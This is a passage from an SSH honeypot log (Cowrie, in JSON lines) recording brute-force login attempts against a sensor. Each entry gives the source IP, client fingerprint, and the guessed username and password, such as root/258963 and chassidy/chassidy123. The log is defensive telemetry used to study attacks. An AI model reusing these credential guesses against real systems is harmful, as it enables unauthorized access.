{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:90:d0:ed:17:ec:30:96:31:66:84:cb:c4:28:f4:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk3EuVvBS/aYZoc06aVJi10qw4UsoGI0Ep2a8GR/hyeuq0maAbNI0NlVJE8OQRPbCsS01AwyR6D/FNuWuLRyV4f9pR5mGEeYWvUiu5qlXkAThWIk23ZrpiJB0ay6gFk0uMLnc3CfQ9d98rJk0faGxi0YAiQOP/ixdgcJ76ZchGIFP7LQxCutochBshVmW3YiPezfwz932Duc4aV+b76pQu1pad2f/7H1ks59x6WqYNl/BZnhM+iYs9Yn2AvHRIhO2J16dp3mam5YsR0f08tpuNjRY6j1Tzx4WPMXwdIft22WrF0u4OyTwktlae0/JHH/DjCJlK/1ynQqB2W/Yn15bD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:02.519962Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:02.533370Z","src_ip":"80.94.92.184","session":"2ce7c7600c78","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:a9:6a:c6:cd:e2:e8:2b:b6:f0:4e:31:00:32:c5:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEywoaLJcEp85M3vdlr0Ukc9laAHVVPhiaJFjG2q1VC9/x8lE1aCbgLL5lGi9RM/qZEukIyLxgkiP+0yvc/qq15mLg9V0U5zWQge29EpAgxXqPO66nwN9Gb6dVK97cNj8E2BDCdTd285LhlPDxdajRJBGH1RRxPjM3g6slClAHAW/6tA/CtxVpmRPTSX26T8U811W6gmX49tlTmoiZVVQQGGVkd6M/S7h7//AjJlJEbOCYAFKAUks6l4uFxUn+qFDC9gvAQiQ1CAYfyDH2mDxTErvn0xXI3t2quV8eSmig5ZQw0XfB1uqlMKwjfikbBOz1F20bl/4Jj8ElmsE+I36h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:a9:6a:c6:cd:e2:e8:2b:b6:f0:4e:31:00:32:c5:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:02.729088Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:a9:6a:c6:cd:e2:e8:2b:b6:f0:4e:31:00:32:c5:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEywoaLJcEp85M3vdlr0Ukc9laAHVVPhiaJFjG2q1VC9/x8lE1aCbgLL5lGi9RM/qZEukIyLxgkiP+0yvc/qq15mLg9V0U5zWQge29EpAgxXqPO66nwN9Gb6dVK97cNj8E2BDCdTd285LhlPDxdajRJBGH1RRxPjM3g6slClAHAW/6tA/CtxVpmRPTSX26T8U811W6gmX49tlTmoiZVVQQGGVkd6M/S7h7//AjJlJEbOCYAFKAUks6l4uFxUn+qFDC9gvAQiQ1CAYfyDH2mDxTErvn0xXI3t2quV8eSmig5ZQw0XfB1uqlMKwjfikbBOz1F20bl/4Jj8ElmsE+I36h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:02.735380Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:ef:50:39:c1:9d:f4:7c:c3:0c:ef:18:3f:ac:b5:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLs3v1ysMN8Az/4ub3f9PmqDeCv8/79Je5fD68Ry9tZsCChQwAn7aU5kCxndSQ7ENxpViVC4Noj+rwBIBsH4nGbDaEEeHyB+Yh2JisS/uNCcqecKIjxwGOjuvHL6NwgPzVNMoiARRwO5Uk8vgX6F74oZODoLEytteiC2iGjtT13WMAHfDSDRmmH/LqrjZwlFis3rFWHbCBTIuvoEgqciF2xD2HXi4UWyTMHnEuvfAtFkekTrrVOmIe8S2YGMkbGI8r6yH9IRxs+TDzoKtB6uQP/CCElbfoENsHpagAV+9CMFKHg6pqc223HHYWTI78SYQK5W5sW3WTXMZY3GjyO3UP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:ef:50:39:c1:9d:f4:7c:c3:0c:ef:18:3f:ac:b5:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:02.948008Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:ef:50:39:c1:9d:f4:7c:c3:0c:ef:18:3f:ac:b5:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLs3v1ysMN8Az/4ub3f9PmqDeCv8/79Je5fD68Ry9tZsCChQwAn7aU5kCxndSQ7ENxpViVC4Noj+rwBIBsH4nGbDaEEeHyB+Yh2JisS/uNCcqecKIjxwGOjuvHL6NwgPzVNMoiARRwO5Uk8vgX6F74oZODoLEytteiC2iGjtT13WMAHfDSDRmmH/LqrjZwlFis3rFWHbCBTIuvoEgqciF2xD2HXi4UWyTMHnEuvfAtFkekTrrVOmIe8S2YGMkbGI8r6yH9IRxs+TDzoKtB6uQP/CCElbfoENsHpagAV+9CMFKHg6pqc223HHYWTI78SYQK5W5sW3WTXMZY3GjyO3UP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:02.954671Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:b6:a7:69:35:ea:2e:80:10:0e:2f:53:d7:99:0f:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChLWGXhH6m7x4LmLm/nueg7g2ZTe2qru+Cz6Q3wXT2w+YF0zw0YzECjVwB8kcLckId6J73oTM1WVJXA5Z9jDnLdTVZBZbMrr8BB15EZHRMpvxPNdte3PjllWpcJUurrwXY6U39Pg7FvQ4E6T6uH0rUzfBYkmZvQkz/IQd8Bv8npT2CBGwQ5CBb3S4zkpytFDFo6TI1LJtKLPQ0SRt76geeR582igRRftjqSs/DRCG8MybDCDDRTb948oFON2k736F7T4zjxOvcu9QMlq+VjVSCisiISrG+QXJhgGxl96br4B1HyeLGZVvXOuboH0BdyyV+kVQKxyPORmii+srONfOb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:b6:a7:69:35:ea:2e:80:10:0e:2f:53:d7:99:0f:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:03.165352Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:b6:a7:69:35:ea:2e:80:10:0e:2f:53:d7:99:0f:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChLWGXhH6m7x4LmLm/nueg7g2ZTe2qru+Cz6Q3wXT2w+YF0zw0YzECjVwB8kcLckId6J73oTM1WVJXA5Z9jDnLdTVZBZbMrr8BB15EZHRMpvxPNdte3PjllWpcJUurrwXY6U39Pg7FvQ4E6T6uH0rUzfBYkmZvQkz/IQd8Bv8npT2CBGwQ5CBb3S4zkpytFDFo6TI1LJtKLPQ0SRt76geeR582igRRftjqSs/DRCG8MybDCDDRTb948oFON2k736F7T4zjxOvcu9QMlq+VjVSCisiISrG+QXJhgGxl96br4B1HyeLGZVvXOuboH0BdyyV+kVQKxyPORmii+srONfOb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:03.169436Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chassidy","password":"chassidy123","message":"login attempt [chassidy/chassidy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:03.271872Z","src_ip":"213.209.159.56","session":"60e5860eab35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:03.381884Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chassidy","password":"chassidy1234","message":"login attempt [chassidy/chassidy1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:04.358174Z","src_ip":"213.209.159.56","session":"60e5860eab35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chassidy","password":"chassidy12345","message":"login attempt [chassidy/chassidy12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:05.443686Z","src_ip":"213.209.159.56","session":"60e5860eab35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:06.529311Z","src_ip":"213.209.159.56","session":"60e5860eab35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":47032,"dst_ip":"159.203.135.109","dst_port":22,"session":"419eabb54ee2","protocol":"ssh","message":"New connection: 37.233.85.71:47032 (159.203.135.109:22) [session: 419eabb54ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:20.582524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:20.587201Z","src_ip":"37.233.85.71","session":"419eabb54ee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:20.687536Z","src_ip":"37.233.85.71","session":"419eabb54ee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"258963","message":"login attempt [root/258963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:20.989833Z","src_ip":"37.233.85.71","session":"419eabb54ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:22.092318Z","src_ip":"37.233.85.71","session":"419eabb54ee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59214,"dst_ip":"159.203.135.109","dst_port":22,"session":"26e9984be99c","protocol":"ssh","message":"New connection: 103.176.20.57:59214 (159.203.135.109:22) [session: 26e9984be99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:23.790083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:23.797477Z","src_ip":"103.176.20.57","session":"26e9984be99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:24.047595Z","src_ip":"103.176.20.57","session":"26e9984be99c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwerasdfzxcv","message":"login attempt [root/1234qwerasdfzxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:24.794756Z","src_ip":"103.176.20.57","session":"26e9984be99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:26.046251Z","src_ip":"103.176.20.57","session":"26e9984be99c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":52134,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cea9a580ea9","protocol":"ssh","message":"New connection: 103.115.56.3:52134 (10.17.0.5:22) [session: 4cea9a580ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:32.230296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:32.241658Z","src_ip":"103.115.56.3","session":"4cea9a580ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:32.480001Z","src_ip":"103.115.56.3","session":"4cea9a580ea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345687","message":"login attempt [root/12345687] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:33.364958Z","src_ip":"103.115.56.3","session":"4cea9a580ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:34.630574Z","src_ip":"103.115.56.3","session":"4cea9a580ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":46676,"dst_ip":"10.17.0.5","dst_port":22,"session":"26e87f81d5a0","protocol":"ssh","message":"New connection: 170.106.191.31:46676 (10.17.0.5:22) [session: 26e87f81d5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:01.660586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:01.667193Z","src_ip":"170.106.191.31","session":"26e87f81d5a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:01.735363Z","src_ip":"170.106.191.31","session":"26e87f81d5a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"control","message":"login attempt [root/control] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:02.050905Z","src_ip":"170.106.191.31","session":"26e87f81d5a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":36860,"dst_ip":"159.203.135.109","dst_port":22,"session":"139efd861b65","protocol":"ssh","message":"New connection: 103.27.238.120:36860 (159.203.135.109:22) [session: 139efd861b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:02.529304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:02.536508Z","src_ip":"103.27.238.120","session":"139efd861b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:02.810762Z","src_ip":"103.27.238.120","session":"139efd861b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:03.123268Z","src_ip":"170.106.191.31","session":"26e87f81d5a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parlament","message":"login attempt [root/parlament] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:03.640486Z","src_ip":"103.27.238.120","session":"139efd861b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:04.915824Z","src_ip":"103.27.238.120","session":"139efd861b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":49676,"dst_ip":"10.17.0.5","dst_port":22,"session":"72e9361328f0","protocol":"ssh","message":"New connection: 102.88.137.213:49676 (10.17.0.5:22) [session: 72e9361328f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:22.516006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:22.521095Z","src_ip":"102.88.137.213","session":"72e9361328f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@o